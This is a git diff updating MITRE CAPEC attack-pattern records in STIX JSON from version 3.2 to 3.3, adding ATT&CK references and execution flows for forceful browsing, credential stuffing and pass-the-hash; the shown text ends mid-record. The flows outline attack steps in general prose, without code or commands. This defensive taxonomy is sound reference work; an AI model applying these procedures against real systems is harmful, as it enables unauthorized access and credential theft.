diff --git a/capec/attack-pattern/attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6.json b/capec/attack-pattern/attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6.json index 5330721007..d7eb41b2d1 100644 --- a/capec/attack-pattern/attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6.json +++ b/capec/attack-pattern/attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--839148e6-8714-4c06-abac-ee55fa335bf2", + "id": "bundle--1341a9cf-5d7d-4df5-a055-8e14698c8d06", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--00268a75-3243-477d-9166-8c78fddf6df6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Forceful Browsing", "description": "An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.", "external_references": [ @@ -50,8 +50,9 @@ ] }, "x_capec_example_instances": [ - "\n A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.\n An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate himself in that role.\n " + "\n A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.\n An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate themself in that role.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links.
    Use a proxy tool to record all links visited during a manual traversal of the web application.

Experiment

  1. Attempt well-known or guessable resource locations: Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. They record all the positive responses from the server.

    2. Techniques
    Use a spidering tool to follow and record attempts on well-known URLs.
    Use a proxy tool to record all links visited during a manual traversal of attempts on well-known URLs.

Exploit

  1. Use unauthorized resources: By visiting the unprotected resource, the attacker makes use of unauthorized functionality.

    2. Techniques
    Access unprotected functions and execute them.

  2. View unauthorized data: The attacker discovers and views unprotected sensitive data.

    3. Techniques
    Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The forcibly browseable pages or accessible resources must be discoverable and improperly protected." @@ -64,7 +65,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1.json b/capec/attack-pattern/attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1.json index a7c84b8165..3b5cc982de 100644 --- a/capec/attack-pattern/attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1.json +++ b/capec/attack-pattern/attack-pattern--0082c733-5245-47ca-a349-6c9fe34114f1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b6853d6e-dc33-454c-af80-1e7a298eb45a", + "id": "bundle--207c3285-9ebf-477d-9c2d-76ee9ed67a6a", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97.json b/capec/attack-pattern/attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97.json index fb594335d9..451c7e0211 100644 --- a/capec/attack-pattern/attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97.json +++ b/capec/attack-pattern/attack-pattern--00c93895-c68e-4d27-a1ec-0dddce68ed97.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--92d428da-86d8-4437-a371-22de560b1564", + "id": "bundle--0a4e5b52-a27b-48c8-bccd-6bad3a3a56bc", "spec_version": "2.0", "objects": [ { @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17.json b/capec/attack-pattern/attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17.json index 452cb90a06..e63f4c0575 100644 --- a/capec/attack-pattern/attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17.json +++ b/capec/attack-pattern/attack-pattern--00d91a4c-2645-4bf1-8db7-e7448ef25f17.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2be836ed-2e59-4b1a-a2d2-b9ca5af935f1", + "id": "bundle--48ee9e14-9c55-43b2-85c2-0abab71a9e3f", "spec_version": "2.0", "objects": [ { @@ -64,7 +64,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0123fa83-2d47-4398-85f1-30ce114abb9a.json b/capec/attack-pattern/attack-pattern--0123fa83-2d47-4398-85f1-30ce114abb9a.json index 7d5403c629..e9926ebfd8 100644 --- a/capec/attack-pattern/attack-pattern--0123fa83-2d47-4398-85f1-30ce114abb9a.json +++ b/capec/attack-pattern/attack-pattern--0123fa83-2d47-4398-85f1-30ce114abb9a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cdd8ebb5-99ef-4afa-9723-0e7ed7717e9d", + "id": "bundle--df56e6c7-0230-48e4-a3f5-17edc7ce1556", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--0123fa83-2d47-4398-85f1-30ce114abb9a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Malicious Software Download", "description": "An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/494.html", "external_id": "CWE-494" + }, + { + "source_name": "ATTACK", + "description": "Browser Extensions", + "url": "https://attack.mitre.org/wiki/Technique/T1176", + "external_id": "T1176" + }, + { + "source_name": "ATTACK", + "description": "User Execution:Malicious File", + "url": "https://attack.mitre.org/wiki/Technique/T1204/002", + "external_id": "T1204.002" } ], "object_marking_refs": [ @@ -29,7 +41,7 @@ "x_capec_abstraction": "Standard", "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce.json b/capec/attack-pattern/attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce.json index 911d7d29a4..9719052e56 100644 --- a/capec/attack-pattern/attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce.json +++ b/capec/attack-pattern/attack-pattern--012db73f-2f3c-49f3-bdf3-12ec3eee01ce.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5f1d14b4-ecf8-4e81-a7ef-105df8a76cc8", + "id": "bundle--a7b1dc1c-f58d-438f-8787-5758c3154628", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--014e5fc2-7564-4775-94aa-220601522b05.json b/capec/attack-pattern/attack-pattern--014e5fc2-7564-4775-94aa-220601522b05.json index 152d261cb4..64825e4eb7 100644 --- a/capec/attack-pattern/attack-pattern--014e5fc2-7564-4775-94aa-220601522b05.json +++ b/capec/attack-pattern/attack-pattern--014e5fc2-7564-4775-94aa-220601522b05.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--57136cd7-39b7-4994-954e-e6488249da84", + "id": "bundle--6bd343c9-5a8d-40e3-85de-c540ef791af7", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408.json b/capec/attack-pattern/attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408.json index a57624227e..9651da5b83 100644 --- a/capec/attack-pattern/attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408.json +++ b/capec/attack-pattern/attack-pattern--0184fd4d-9134-42c0-b073-5e614773d408.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--0017d01a-bb05-417b-b73c-ef7cdf6a887c", + "id": "bundle--adba44c6-a72f-4f28-b422-2bf0c7785edf", "spec_version": "2.0", "objects": [ { @@ -47,7 +47,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--01d5c7e7-1c74-4b20-9e43-548c5f4de113.json b/capec/attack-pattern/attack-pattern--01d5c7e7-1c74-4b20-9e43-548c5f4de113.json index 17ce98b47a..03ecaf7a00 100644 --- a/capec/attack-pattern/attack-pattern--01d5c7e7-1c74-4b20-9e43-548c5f4de113.json +++ b/capec/attack-pattern/attack-pattern--01d5c7e7-1c74-4b20-9e43-548c5f4de113.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--97da0eb8-515f-4ada-8d49-2d86dd5bbff5", + "id": "bundle--2c5c4260-30e1-4cfd-bda4-c46016c1adc9", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--01d5c7e7-1c74-4b20-9e43-548c5f4de113", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Resource Leak Exposure", "description": "An adversary utilizes a resource leak on the target to deplete the quantity of the resource available to service legitimate requests. Resource leaks most often come in the form of memory leaks where memory is allocated but never released after it has served its purpose, however, theoretically, any other resource that can be reserved can be targeted if the target fails to release the reservation when the reserved resource block is no longer needed. In this attack, the adversary determines what activity results in leaked resources and then triggers that activity on the target. Since some leaks may be small, this may require a large number of requests by the adversary. However, this attack differs from a flooding attack in that the rate of requests is generally not significant. This is because the lost resources due to the leak accumulate until the target is reset, usually by restarting it. Thus, a resource-poor adversary who would be unable to flood the target can still utilize this attack. Resource depletion through leak differs from resource depletion through allocation in that, in the former, the adversary may not be able to control the size of each leaked allocation, but instead allows the leak to accumulate until it is large enough to affect the target's performance. When depleting resources through allocation, the allocated resource may eventually be released by the target so the attack relies on making sure that the allocation size itself is prohibitive of normal operations by the target.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/404.html", "external_id": "CWE-404" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" } ], "object_marking_refs": [ @@ -42,7 +48,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--02570621-96aa-4525-b782-8e3939affac3.json b/capec/attack-pattern/attack-pattern--02570621-96aa-4525-b782-8e3939affac3.json index c5c4b1e5d6..55b2c67c29 100644 --- a/capec/attack-pattern/attack-pattern--02570621-96aa-4525-b782-8e3939affac3.json +++ b/capec/attack-pattern/attack-pattern--02570621-96aa-4525-b782-8e3939affac3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--96679e2e-c383-4ad7-b3c9-3cdccfd17e4c", + "id": "bundle--91c67660-5b89-459e-971b-a3fac64e34c9", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--02570621-96aa-4525-b782-8e3939affac3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2015-11-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Malicious Software Implanted", "description": "An attacker implants malicious software into the system in the supply chain distribution channel, with purpose of causing malicious disruption or allowing for additional compromise when the system is deployed.", "external_references": [ @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--03093798-f245-4ed2-a085-88e69d303b11.json b/capec/attack-pattern/attack-pattern--03093798-f245-4ed2-a085-88e69d303b11.json index 666ed66789..9d1167889e 100644 --- a/capec/attack-pattern/attack-pattern--03093798-f245-4ed2-a085-88e69d303b11.json +++ b/capec/attack-pattern/attack-pattern--03093798-f245-4ed2-a085-88e69d303b11.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--645b079a-4c1a-4f03-a7d9-14872910271b", + "id": "bundle--09ca413c-7c3b-4ad0-b37a-9bf38b5b896a", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a.json b/capec/attack-pattern/attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a.json new file mode 100644 index 0000000000..1872a7bed9 --- /dev/null +++ b/capec/attack-pattern/attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a.json @@ -0,0 +1,127 @@ +{ + "type": "bundle", + "id": "bundle--56d32fd3-8189-4b2c-ac67-4b1be3fd30ae", + "spec_version": "2.0", + "objects": [ + { + "type": "attack-pattern", + "id": "attack-pattern--03a731ef-751b-43de-9159-9667d4be4d1a", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2020-07-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "Credential Stuffing", + "description": "\n An adversary tries known username/password combinations against different systems, applications, or services to gain additional authenticated access. Credential Stuffing attacks rely upon the fact that many users leverage the same username/password combination for multiple systems, applications, and services. Attacks of this kind often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. The primary goal of Credential Stuffing is to achieve lateral movement and gain authenticated access to additional systems, applications, and/or services. A successfully executed Credential Stuffing attack could result in the adversary impersonating the victim or executing any action that the victim is authorized to perform. If the password obtained by the adversary is used for multiple systems, accounts, and/or services, this attack will be successful (in the absence of other mitigations).\n Although not technically a brute force attack, Credential Stuffing attacks can function as such if an adversary possess multiple known passwords for the same user account. This may occur in the event where an adversary obtains user credentials from multiple sources or if the adversary obtains a user's password history for an account.\n Credential Stuffing attacks are similar to Password Spraying attacks (CAPEC-565) regarding their targets and their overall goals. However, Password Spraying attacks do not have any insight into known username/password combinations and instead leverage common or expected passwords. This also means that Password Spraying attacks must avoid inducing account lockouts, which is generally not a worry of Credential Stuffing attacks. Password Spraying attacks may additionally lead to Credential Stuffing attacks, once a successful username/password combination is discovered.\n ", + "external_references": [ + { + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/600.html", + "external_id": "CAPEC-600" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/522.html", + "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/307.html", + "external_id": "CWE-307" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/309.html", + "external_id": "CWE-309" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/262.html", + "external_id": "CWE-262" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/263.html", + "external_id": "CWE-263" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/654.html", + "external_id": "CWE-654" + }, + { + "source_name": "ATTACK", + "description": "Brute Force:Credential Stuffing", + "url": "https://attack.mitre.org/wiki/Technique/T1110/004", + "external_id": "T1110.004" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alert (TA18-086A): Brute Force Attacks Conducted by Cyber Actors, 2018--03---27, Cybersecurity and Infrastructure Security Agency (CISA)", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A", + "external_id": "REF-567" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Credential stuffing, Open Web Application Security Project (OWASP)", + "url": "https://owasp.org/www-community/attacks/Credential_stuffing", + "external_id": "REF-568" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Jessica Silver-Greenberg, Matthew Goldstein, Nicole Perlroth, JPMorgan Chase Hacking Affects 76 Million Households, 2014--10---02, The New York Times", + "url": "https://dealbook.nytimes.com/2014/10/02/jpmorgan-discovers-further-cyber-security-issues/", + "external_id": "REF-569" + } + ], + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_abstraction": "Standard", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" + ] + }, + "x_capec_example_instances": [ + "A user leverages the password \"Password123\" for a handful of application logins. An adversary obtains a victim's username/password combination from a breach of a social media application and executes a Credential Stuffing attack against multiple banking and credit card applications. Since the user leverages the same credentials for their bank account login, the adversary successfully authenticates to the user's bank account and transfer money to an offshore account.", + "In October 2014 J.P. Morgan's Corporate Challenge website was breached, resulting in adversaries obtaining multiple username/password pairs. A Credential Stuffing attack was then executed against J.P. Morgan Chase, which resulted in over 76 million households having their accounts compromised." + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known credentials: The adversary must obtain known credentials in order to access the target system, application, or service.

    2. Techniques
    An adversary purchases breached username/password combinations or leaked hashed passwords from the dark web.
    An adversary leverages a key logger or phishing attack to steal user credentials as they are provided.
    An adversary conducts a sniffing attack to steal credentials as they are transmitted.
    An adversary gains access to a database and exfiltrates password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded credentials.

  2. Determine target's password policy: Determine the password policies of the target system/application to determine if the known credentials fit within the specified criteria.

    3. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks if multiple passwords are known for a single user account).

Experiment

  1. Attempt authentication: Try each username/password combination until the target grants access.

    2. Techniques
    Manually or automatically enter each username/password combination through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system or to laterally move within a system or application

  2. Spoofing: Malicious data can be injected into the target system or into a victim user's system by an adversary. The adversary can also pose as a legitimate user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within the system or application.

", + "x_capec_likelihood_of_attack": "High", + "x_capec_prerequisites": [ + "The system/application uses one factor password based authentication, SSO, and/or cloud-based authentication.", + "The system/application does not have a sound password policy that is being enforced.", + "The system/application does not implement an effective password throttling mechanism.", + "The adversary possesses a list of known user accounts and corresponding passwords that may exist on the target." + ], + "x_capec_resources_required": [ + "A machine with sufficient resources for the job (e.g. CPU, RAM, HD).", + "A known list of username/password combinations.", + "A custom script that leverages the credential list to launch the attack." + ], + "x_capec_skills_required": { + "Low": "A Credential Stuffing attack is very straightforward." + }, + "x_capec_status": "Stable", + "x_capec_typical_severity": "High", + "x_capec_version": "3.3" + } + ] +} \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--056a463d-6303-438e-a43f-992cee52fb95.json b/capec/attack-pattern/attack-pattern--056a463d-6303-438e-a43f-992cee52fb95.json index 3d33f18d6c..19fe38f88d 100644 --- a/capec/attack-pattern/attack-pattern--056a463d-6303-438e-a43f-992cee52fb95.json +++ b/capec/attack-pattern/attack-pattern--056a463d-6303-438e-a43f-992cee52fb95.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--a052755b-06b1-4d81-b7da-1ca6d5cd737c", + "id": "bundle--6e7f03a0-e94c-43fa-98dc-c6a2a6b8fe38", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--056a463d-6303-438e-a43f-992cee52fb95", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Use of Captured Hashes (Pass The Hash)", - "description": "An adversary uses stolen hash values for a user's credentials (username and password) to access systems managed under the same credential framwork that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols. When authenticating via LM or NTLM, the hashed credentials' associated plaintext credentials are not requried for successful authentication. Therefore, if an adversary can obtain the hashed credentials of a user, he can then pass these hash values to the server or service to authenticate without needing to brute-force the hashes to obtain their cleartext values. The adversary can then impersonate the user and laterally move within the network. This technique can be performed against any operating system which leverages the LM or NTLM protocols.", + "description": "An adversary obtains (i.e. steals or purchases) legitimate Windows domain credential (e.g. userID and password) hash values to access systems within the domain that leverage the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols. When authenticating via LM or NTLM, an authenticating account's plaintext credentials are not required by the protocols for successful authentication. Instead, the hashed credentials are used to determine if an authentication attempt is valid. If an adversary can obtain an account's hashed credentials, the hash values can then be passed to a system or service to authenticate, without needing to brute-force the hashes to obtain their cleartext values. Successful Pass The Hash attacks result in the adversary fully authenticating as the targeted account, which can further allow the adversary to laterally move within the network, impersonate a legitimate user, and/or download/install malware to systems within the domain. This technique can be performed against any operating system that leverages the LM or NTLM protocols even if the operating system is not Windows-based, since these systems/accounts may still authenticate to a Windows domain.", "external_references": [ { "source_name": "capec", @@ -21,6 +21,62 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/836.html", + "external_id": "CWE-836" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/294.html", + "external_id": "CWE-294" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/308.html", + "external_id": "CWE-308" + }, + { + "source_name": "ATTACK", + "description": "Use Alternate Authentication Material:Pass The Hash", + "url": "https://attack.mitre.org/wiki/Technique/T1550/002", + "external_id": "T1550.002" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Dan Goodin, Attackers can use Zoom to steal users\u2019 Windows credentials with no warning, 2020--04---01, Ars Technica", + "url": "https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/", + "external_id": "REF-575" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Mor Levi, Assaf Dahan, Amit Serper, Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers, 2019--06---25, CyberReason", + "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", + "external_id": "REF-580" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Mitigating Pass-the-Hash and Other Credential Theft v2, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN", + "external_id": "REF-581" + }, + { + "source_name": "reference_from_CAPEC", + "description": "How Pass-the-Hash works, Microsoft Corporation", + "url": "https://docs.microsoft.com/en-us/previous-versions/dn785092(v=msdn.10)?redirectedfrom=MSDN", + "external_id": "REF-582" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Bashar Ewaida, Pass-the-hash attacks: Tools and Mitigation, 2010--02---23, The SANS Institute", + "url": "https://www.sans.org/reading-room/whitepapers/testing/paper/33283", + "external_id": "REF-583" } ], "object_marking_refs": [ @@ -28,22 +84,43 @@ ], "x_capec_abstraction": "Detailed", "x_capec_consequences": { - "Integrity": [ + "Access_Control": [ "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ], + "Authorization": [ + "Read Data" + ], + "Confidentiality": [ + "Gain Privileges", + "Read Data" + ], + "Integrity": [ + "Modify Data" ] }, - "x_capec_likelihood_of_attack": "Low", + "x_capec_example_instances": [ + "Adversaries exploited the Zoom video conferencing application during the 2020 COVID-19 pandemic to exfiltrate Windows domain credential hash value pairs from a target system. The attack entailed sending Universal Naming Convention (UNC) paths within the Zoom chat window of an unprotected Zoom call. If the victim clicked on the link, their Windows usernames and the corresponding Net-NTLM-v2 hashes were sent to the address contained in the link. The adversary was then able to infiltrate and laterally move within the Windows domain by passing the acquired credentials to shared network resources. This further provided adversaries with access to Outlook servers and network storage devices. [REF-575]", + "Operation Soft Cell, which has been underway since at least 2012, leveraged a modified Mimikatz that dumped NTLM hashes. The acquired hashes were then used to authenticate to other systems within the network via Pass The Hash attacks. [REF-580]" + ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Acquire known Windows credential hash value pairs: The adversary must obtain known Windows credential hash value pairs of accounts that exist on the domain.

    2. Techniques
    An adversary purchases breached Windows credential hash value pairs from the dark web.
    An adversary conducts a sniffing attack to steal Windows credential hash value pairs as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows credential hash value pairs.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows credential hash value pairs.

Experiment

  1. Attempt domain authentication: Try each Windows credential hash value pair until the target grants access.

    2. Techniques
    Manually or automatically enter each Windows credential hash value pair through the target's interface.

Exploit

  1. Impersonate: An adversary can use successful experiments or authentications to impersonate an authorized user or system, or to laterally move within the domain

  2. Spoofing: Malicious data can be injected into the target system or into other systems on the domain. The adversary can also pose as a legitimate domain user to perform social engineering attacks.

  3. Data Exfiltration: The adversary can obtain sensitive data contained within domain systems or applications.

", + "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ - "The adversary needs to first obtain the hashed credentials of a user, via the use of a tool, prior to executing this attack.", - "The victim system must allow Lan Man or NT Lan Man authentication." + "The system/application is connected to the Windows domain.", + "The system/application leverages the Lan Man (LM) and/or NT Lan Man (NTLM) authentication protocols.", + "The adversary possesses known Windows credential hash value pairs that exist on the target domain." + ], + "x_capec_resources_required": [ + "A list of known Window credential hash value pairs for the targeted domain." ], "x_capec_skills_required": { - "High": "The adversary uses a third-party tool to obtain hashed credentials to execute the attack.", - "Low": "Determine if Lan Man and NT Lan Man authentication is allowed on the server." + "Low": "Once an adversary obtains a known Windows credential hash value pair, leveraging it is trivial." }, "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f.json b/capec/attack-pattern/attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f.json index 733f8ba942..11fc3a5206 100644 --- a/capec/attack-pattern/attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f.json +++ b/capec/attack-pattern/attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ec85441c-ae7c-4dec-9522-5848f07bbacf", + "id": "bundle--ba6f329c-27a7-4080-b2e6-b04d79c18ac6", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--05740120-81ef-4224-9805-2f0b54d1111f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Use of Captured Tickets (Pass The Ticket)", - "description": "An adversary uses stolen Kerberos tickets to access systems that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.", + "description": "An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.", "external_references": [ { 